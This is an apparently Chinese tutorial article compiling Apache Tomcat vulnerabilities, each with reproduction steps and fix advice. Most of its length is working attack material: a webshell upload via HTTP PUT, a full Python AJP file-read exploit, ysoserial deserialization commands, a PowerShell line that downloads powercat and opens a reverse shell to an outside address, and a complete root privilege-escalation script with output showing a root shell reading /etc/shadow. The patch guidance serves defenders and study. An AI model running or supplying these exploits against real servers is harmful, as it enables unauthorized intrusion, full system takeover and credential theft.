tomcat漏洞匯總
PUT 任意文件上傳(CVE-2017-12615)
影響版本
tomcat 7.0.0~7.0.79
漏洞復(fù)現(xiàn)
1. 訪問apache tomcat首頁 http://192.168.17.140:8080
2. 訪問http://192.168.17.140:8080/,使用burpsuit工具進(jìn)行抓包,并將請求包發(fā)送至Repeater
3. 將請求包GET方式改為PUT方式,上傳ceshi.jsp,內(nèi)容為“Hello Word”,點(diǎn)擊發(fā)送,發(fā)現(xiàn)服務(wù)器返回“201”
4. 訪問剛上傳的ceshi.jsp文件,發(fā)現(xiàn)可訪問,從而確定存在CVE-2017-12615漏洞
5. 接下來上傳木馬backdoor.jsp,如圖所示上傳成功
6. 使用冰蝎連接shell,密碼為“rebeyond”
修復(fù)建議
用戶可以禁用PUT方法來防護(hù)此漏洞,操作方式如下:
在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化參數(shù)
<init-param> <param-name>readonly</param-name> <param-value>true</param-value> </init-param>
確保readonly參數(shù)為true(默認(rèn)值),即不允許DELETE和PUT操作。
遠(yuǎn)程代碼執(zhí)行(CVE-2019-0232)
影響版本
tomcat 7.0.94之前
tomcat 8.5.40之前
tomcat 9.0.19之前 版本都會影響
漏洞復(fù)現(xiàn)
1. 首先修改apache-tomcat-9.0.13\conf\ web.xml
將此段注釋刪除,并添加紅框內(nèi)代碼。
<init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executadle</param-name> <param-value></param-value> </init-param>
2. 將此處注釋刪除
3. 更改
apache-tomcat-9.0.13\conf\ context.xml
4. 在apache-tomcat-9.0.13\webapps\ROOT\WEB-INF目錄下,新建 cgi-bin 文件夾
在文件夾內(nèi)創(chuàng)建一個(gè).bat文件
@echo off echo Content-Type: test/plain echo. set foo=&~1 %foo%
5. 在后邊追加命令,即可實(shí)現(xiàn)命令執(zhí)行操作
修復(fù)建議
1. 禁用enableCmdLineArguments參數(shù)。
2. 在conf/web.xml中覆寫采用更嚴(yán)格的參數(shù)合法性檢驗(yàn)規(guī)則。
3. 升級tomcat到9.0.17以上版本。
Apache-Tomcat-Ajp漏洞(CVE-2020-1938)
影響版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
開啟了8009端口的ajp服務(wù)
漏洞復(fù)現(xiàn)
1. 網(wǎng)址中下載Tomcat,下載好安裝包之后,進(jìn)入bin目錄執(zhí)行startup.bat啟動tomcat
2. 訪問http://localhost:8080
3. 修改配置文件,首先修改apache-tomcat-9.0.13\conf\ web.xml
將此段注釋刪除,并添加紅框內(nèi)代碼
<init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executadle</param-name> <param-value></param-value> </init-param>
4. 將此處注釋刪除
5. 修改 apache-tomcat-9.0.13\conf\ context.xml
添加privileged="true"語句 如下圖
環(huán)境搭建完成!
6. 在cmd下執(zhí)行python腳本
腳本代碼如下:
#!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return None res, = unpack(stream, "%ds" % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) == 0: return struct.pack(">bbH", 0x12, 0x34, 0x00) else: res = struct.pack(">H", len(data)) res += data if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbH", 0x12, 0x34, len(res)) else: header = struct.pack(">bbH", 0x41, 0x42, len(res)) return header + res def send_and_receive(self, socket, stream): while True: data = self.serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: break class AjpForwardRequest(object): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) COMMON_HEADERS = ["SC_REQ_ACCEPT", "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" ] ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] def __init__(self, data_direction=None): self.prefix_code = 0x02 self.method = None self.protocol = None self.req_uri = None self.remote_addr = None self.remote_host = None self.server_name = None self.server_port = None self.is_ssl = None self.num_headers = None self.request_headers = None self.attributes = None self.data_direction = data_direction def pack_headers(self): self.num_headers = len(self.request_headers) res = "" res = struct.pack(">h", self.num_headers) for h_name in self.request_headers: if h_name.startswith("SC_REQ"): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res += struct.pack("BB", 0xA0, code) else: res += pack_string(h_name) res += pack_string(self.request_headers[h_name]) return res def pack_attributes(self): res = b"" for attr in self.attributes: a_name = attr['name'] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res += struct.pack("b", code) if a_name == "req_attribute": aa_name, a_value = attr['value'] res += pack_string(aa_name) res += pack_string(a_value) else: res += pack_string(attr['value']) res += struct.pack("B", 0xFF) return res def serialize(self): res = "" res = struct.pack("bb", self.prefix_code, self.method) res += pack_string(self.protocol) res += pack_string(self.req_uri) res += pack_string(self.remote_addr) res += pack_string(self.remote_host) res += pack_string(self.server_name) res += struct.pack(">h", self.server_port) res += struct.pack("?", self.is_ssl) res += self.pack_headers() res += self.pack_attributes() if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbh", 0x12, 0x34, len(res)) else: header = struct.pack(">bbh", 0x41, 0x42, len(res)) return header + res def parse(self, raw_packet): stream = StringIO(raw_packet) self.magic1, self.magic2, data_len = unpack(stream, "bbH") self.prefix_code, self.method = unpack(stream, "bb") self.protocol = unpack_string(stream) self.req_uri = unpack_string(stream) self.remote_addr = unpack_string(stream) self.remote_host = unpack_string(stream) self.server_name = unpack_string(stream) self.server_port = unpack(stream, ">h") self.is_ssl = unpack(stream, "?") self.num_headers, = unpack(stream, ">H") self.request_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code > 0xA000: h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] else: h_name = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) self.request_headers[h_name] = h_value def send_and_receive(self, socket, stream, save_cookies=False): res = [] i = socket.sendall(self.serialize()) if self.method == AjpForwardRequest.POST: return res r = AjpResponse.receive(stream) assert r.prefix_code == AjpResponse.SEND_HEADERS res.append(r) if save_cookies and 'Set-Cookie' in r.response_headers: self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] # read body chunks and end response packets while True: r = AjpResponse.receive(stream) res.append(r) if r.prefix_code == AjpResponse.END_RESPONSE: break elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: continue else: raise NotImplementedError break return res class AjpResponse(object): _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) COMMON_SEND_HEADERS = [ "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" ] def parse(self, stream): # read headers self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") if self.prefix_code == AjpResponse.SEND_HEADERS: self.parse_send_headers(stream) elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: self.parse_send_body_chunk(stream) elif self.prefix_code == AjpResponse.END_RESPONSE: self.parse_end_response(stream) elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: self.parse_get_body_chunk(stream) else: raise NotImplementedError def parse_send_headers(self, stream): self.http_status_code, = unpack(stream, ">H") self.http_status_msg = unpack_string(stream) self.num_headers, = unpack(stream, ">H") self.response_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code <= 0xA000: # custom header h_name, = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) else: h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] h_value = unpack_string(stream) self.response_headers[h_name] = h_value def parse_send_body_chunk(self, stream): self.data_length, = unpack(stream, ">H") self.data = stream.read(self.data_length+1) def parse_end_response(self, stream): self.reuse, = unpack(stream, "b") def parse_get_body_chunk(self, stream): rlen, = unpack(stream, ">H") return rlen @staticmethod def receive(stream): r = AjpResponse() r.parse(stream) return r import socket def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", bufsize=0) def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) return snd_hdrs_res, data_res ''' javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path ''' import argparse parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") args = parser.parse_args() t = Tomcat(args.target, args.port) _,data = t.perform_request('/asdf',attributes=[ {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, ]) print('----------------------------') print("".join([d.data for d in data]))
7. 可以成功訪問文件,漏洞復(fù)現(xiàn)成功!
修復(fù)建議
1、禁用AIP協(xié)議端口,在conf/server.xml配置文件中注釋掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443”/>
2、升級官方最新版本。
Tomcat Session(CVE-2020-9484)反序列化漏洞
影響版本
Apache Tomcat 10.0.0-M1—10.0.0-M4
Apache Tomcat 9.0.0.M1—9.0.34
Apache Tomcat 8.5.0—8.5.54
Apache Tomcat 7.0.0—7.0.103
- 攻擊者能夠控制服務(wù)器上文件的內(nèi)容和文件名稱
- 服務(wù)器PersistenceManager配置中使用了FileStore
- PersistenceManager中的sessionAttributeValueClassNameFilter被配置為“null”,或者過濾器不夠嚴(yán)格,導(dǎo)致允許攻擊者提供反序列化數(shù)據(jù)的對象
- 攻擊者知道使用的FileStore存儲位置到攻擊者可控文件的相對路徑
漏洞復(fù)現(xiàn)
下載ysoserial 一個(gè)生成java反序列化 payload 的 .jar 包
下載地址: https://github.com/frohoff/ysoserial.git
用瀏覽器下載,解壓,并生成一個(gè)jar包,復(fù)制進(jìn)linux系統(tǒng)
生成jar包的方式,進(jìn)入文件夾的目錄輸入 輸入命令: mvn package
編譯有點(diǎn)慢需要幾分鐘世間
編譯完成后在target目錄下,有jar包
執(zhí)行下面語句生成 payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/2333" > /tmp/test.session
使用以下命令訪問tomcat服務(wù)
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'
雖然顯示報(bào)錯(cuò),但是也執(zhí)行了。在/tmp目錄下創(chuàng)建了2333目錄
修復(fù)建議 升級到 Apache Tomcat 10.0.0-M5 及以上版本升級到 Apache Tomcat 9.0.35 及以上版本升級到 Apache Tomcat 8.5.55 及以上版本升級到 Apache Tomcat 7.0.104 及以上版本
臨時(shí)修復(fù)建議
禁止使用Session持久化功能FileStore
Tomcat反序列化漏洞(CVE-2016-8735)
影響版本
Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47
外部需要開啟JmxRemoteLifecycleListener監(jiān)聽的 10001 和 10002 端口,來實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行
漏洞復(fù)現(xiàn)
環(huán)境:Tomcat7.0.39
在 conf/server.xml 中第 30 行中配置啟用JmxRemoteLifecycleListener功能監(jiān)聽的端口
配置好 jmx 的端口后,我們在 tomcat 版本(Index of /dist/tomcat)所對應(yīng)的 extras/ 目錄下來下載 catalina-jmx-remote.jar 以及下載 groovy-2.3.9.jar 兩個(gè)jar 包。下載完成后放至在lib目錄下。
接著我們再去bin目錄下修改catalina.bat腳本。在ExecuteThe Requested Command注釋前面添加這么一行。主要配置的意思是設(shè)置啟動tomcat的相關(guān)配置,不開啟遠(yuǎn)程監(jiān)聽jvm信息。設(shè)置不啟用他的ssl鏈接和不使用監(jiān)控的賬戶。具體的配置可以去了解一下利用tomcat的jmx監(jiān)控。
然后啟動 Tomcat ,看看本地的 10001 和 10002 端口是否開放
漏洞利用代碼
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 "calc.exe"
但是由于該命令沒有回顯,所以我們還是選擇反彈shell回來,以下是反彈nc的shell。更多的關(guān)于windows反彈shell的cmd和powershell命令
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd"
修復(fù)建議
1、關(guān)閉 JmxRemoteLifecycleListener 功能,或者是對 jmx JmxRemoteLifecycleListener 遠(yuǎn)程端口進(jìn)行網(wǎng)絡(luò)訪問控制。同時(shí),增加嚴(yán)格的認(rèn)證方式。
2、根據(jù)官方去升級更新相對應(yīng)的版本。
Tomcat本地提權(quán)漏洞(CVE-2016-1240)
影響版本
Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1
- 通過deb包安裝的tomcat
- 需要重啟tomcat
- 受影響的系統(tǒng)包括Debian、Ubuntu,其他使用相應(yīng)deb包的系統(tǒng)也可能受到影響
漏洞復(fù)現(xiàn)
Debian系統(tǒng)的Linux上管理員通常利用apt-get
進(jìn)行包管理,CVE-2016-1240這一漏洞其問題出在Tomcat的deb包中,使 deb包安裝的Tomcat程序會自動為管理員安裝一個(gè)啟動腳本:/etc/init.d/tocat*
利用該腳本,可導(dǎo)致攻擊者通過低權(quán)限的Tomcat用戶獲得系統(tǒng)root權(quán)限!
本地攻擊者,作為tomcat
用戶(比如說,通過web應(yīng)用的漏洞)若將catalina.out
修改為指向任意系統(tǒng)文件的鏈接,一旦Tomcat init
腳本(ROOT權(quán)限運(yùn)行)在服務(wù)重啟后再次打開catalina.out
文件,攻擊者就可獲取ROOT權(quán)限。
漏洞poc
#!/bin/bash # # Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit # # CVE-2016-1240 # # Discovered and coded by: # # Dawid Golunski # http://legalhackers.com # # This exploit targets Tomcat (versions 6, 7 and 8) packaging on # Debian-based distros including Debian, Ubuntu etc. # It allows attackers with a tomcat shell (e.g. obtained remotely through a # vulnerable java webapp, or locally via weak permissions on webapps in the # Tomcat webroot directories etc.) to escalate their privileges to root. # # Usage: # ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred] # # The exploit can used in two ways: # # -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly # gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up # a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.) # # -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can # then add arbitrary commands to the file which will be executed with root privileges by # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default # Ubuntu/Debian Tomcat installations). # # See full advisory for details at: # http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/tomcatrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $TOMCATLOG touch $TOMCATLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload 2>/dev/null fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." cleanexit 0 } #intro echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m" # Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n" exit 3 fi if [ "$2" = "-deferred" ]; then mode="deferred" else mode="active" fi # Priv check echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`" id | grep -q tomcat if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n" exit 3 fi # Set target paths TOMCATLOG="$1" if [ ! -f $TOMCATLOG ]; then echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n" exit 3 fi echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG" # [ Deferred exploitation ] # Symlink the log file to /etc/default/locale file which gets executed daily on default # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am. # Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been # restarted and file owner gets changed. if [ "$mode" = "deferred" ]; then rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" echo -e "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`" echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot" echo -ne "\n you'll be able to add arbitrary commands to the file which will get executed with root privileges" echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;) \n\n" exit 0 fi # [ Active exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include #include #include #include uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." cleanexit 2 fi # Symlink the log file to ld.so.preload rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" # Wait for Tomcat to re-open the logs echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..." echo -e "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) " while :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload break; fi done # /etc/ld.so.preload file should be owned by tomcat user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo --help 2>/dev/null >/dev/null # Check for the rootshell ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi # Execute the rootshell echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n" $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" $BACKDOORPATH -p # Job done. cleanexit 0
poc運(yùn)行
tomcat7@ubuntu:/tmp$ id uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7) tomcat7@ubuntu:/tmp$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04 LTS Release: 16.04 Codename: xenial tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat ii libtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- core libraries ii tomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engine ii tomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- common files tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit CVE-2016-1240 Discovered and coded by: Dawid Golunski http://legalhackers.com [+] Starting the exploit in [active] mode with the following privileges: uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7) [+] Target Tomcat log file set to /var/log/tomcat7/catalina.out [+] Compiling the privesc shared library (/tmp/privesclib.c) [+] Backdoor/low-priv shell installed at: -rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh [+] Symlink created at: lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload [+] Waiting for Tomcat to re-open the logs/Tomcat service restart... You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) [+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: -rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload [+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! [+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh Please tell me you're seeing this too ;) [+] Executing the rootshell /tmp/tomcatrootsh now! tomcatrootsh-4.3# id uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7) tomcatrootsh-4.3# whoami root tomcatrootsh-4.3# head -n3 /etc/shadow root:$6$oaf[cut]:16912:0:99999:7::: daemon:*:16912:0:99999:7::: bin:*:16912:0:99999:7::: tomcatrootsh-4.3# exit exit
修復(fù)建議
目前,Debian、Ubuntu等相關(guān)操作系統(tǒng)廠商已修復(fù)并更新受影響的Tomcat安裝包。受影響用戶可采取以下解決方案:
1、更新Tomcat服務(wù)器版本:
(1)針對Ubuntu公告鏈接
http://www.ubuntu.com/usn/usn-3081-1/
(2)針對Debian公告鏈接
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669
https://www.debian.org/security/2016/dsa-3670
2、加入-h參數(shù)防止其他文件所有者被更改,即更改Tomcat的啟動腳本為:
chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
參考鏈接
CVE-2019-0232漏洞復(fù)現(xiàn)_whh6tl的博客-CSDN博客_cve-2019-0232
(CVE-2020-1938)Apache Tomcat遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)_whh6tl的博客-CSDN博客
Tomcat Session(CVE-2020-9484)反序列化漏洞復(fù)現(xiàn)_白冷的博客-CSDN博客_cve-2020-9484
到此這篇關(guān)于tomcat漏洞匯總的文章就介紹到這了,更多相關(guān)tomcat漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
使用Tomcat Native提升Tomcat IO效率的方法詳解
這篇文章主要介紹了使用Tomcat Native提升Tomcat IO效率的方法,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-12-12解決Tomcat啟動失敗:嚴(yán)重?[main]?org.apache.catalina.util.LifecycleB
這篇文章主要介紹了解決Tomcat啟動失敗:嚴(yán)重?[main]org.apache.catalina.util.LifecycleBase.handleSubClassException?初始化組件失敗問題的方法,希望可以幫助到你2023-03-03Nginx+Tomcat關(guān)于Session的管理的實(shí)現(xiàn)
本篇文章主要介紹了Nginx+Tomcat關(guān)于Session的管理,通過實(shí)例的方式循序漸進(jìn)的介紹了幾種管理session的方式。具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2018-06-06Tomcat配置HTTPS訪問的實(shí)現(xiàn)步驟
本文主要介紹了Tomcat配置HTTPS訪問的實(shí)現(xiàn)步驟,在tomcat中存在兩種證書驗(yàn)證情況單向驗(yàn)證和雙向驗(yàn)證,下面就詳細(xì)的介紹一下這兩種情況的配置,感興趣的可以了解一下2022-07-07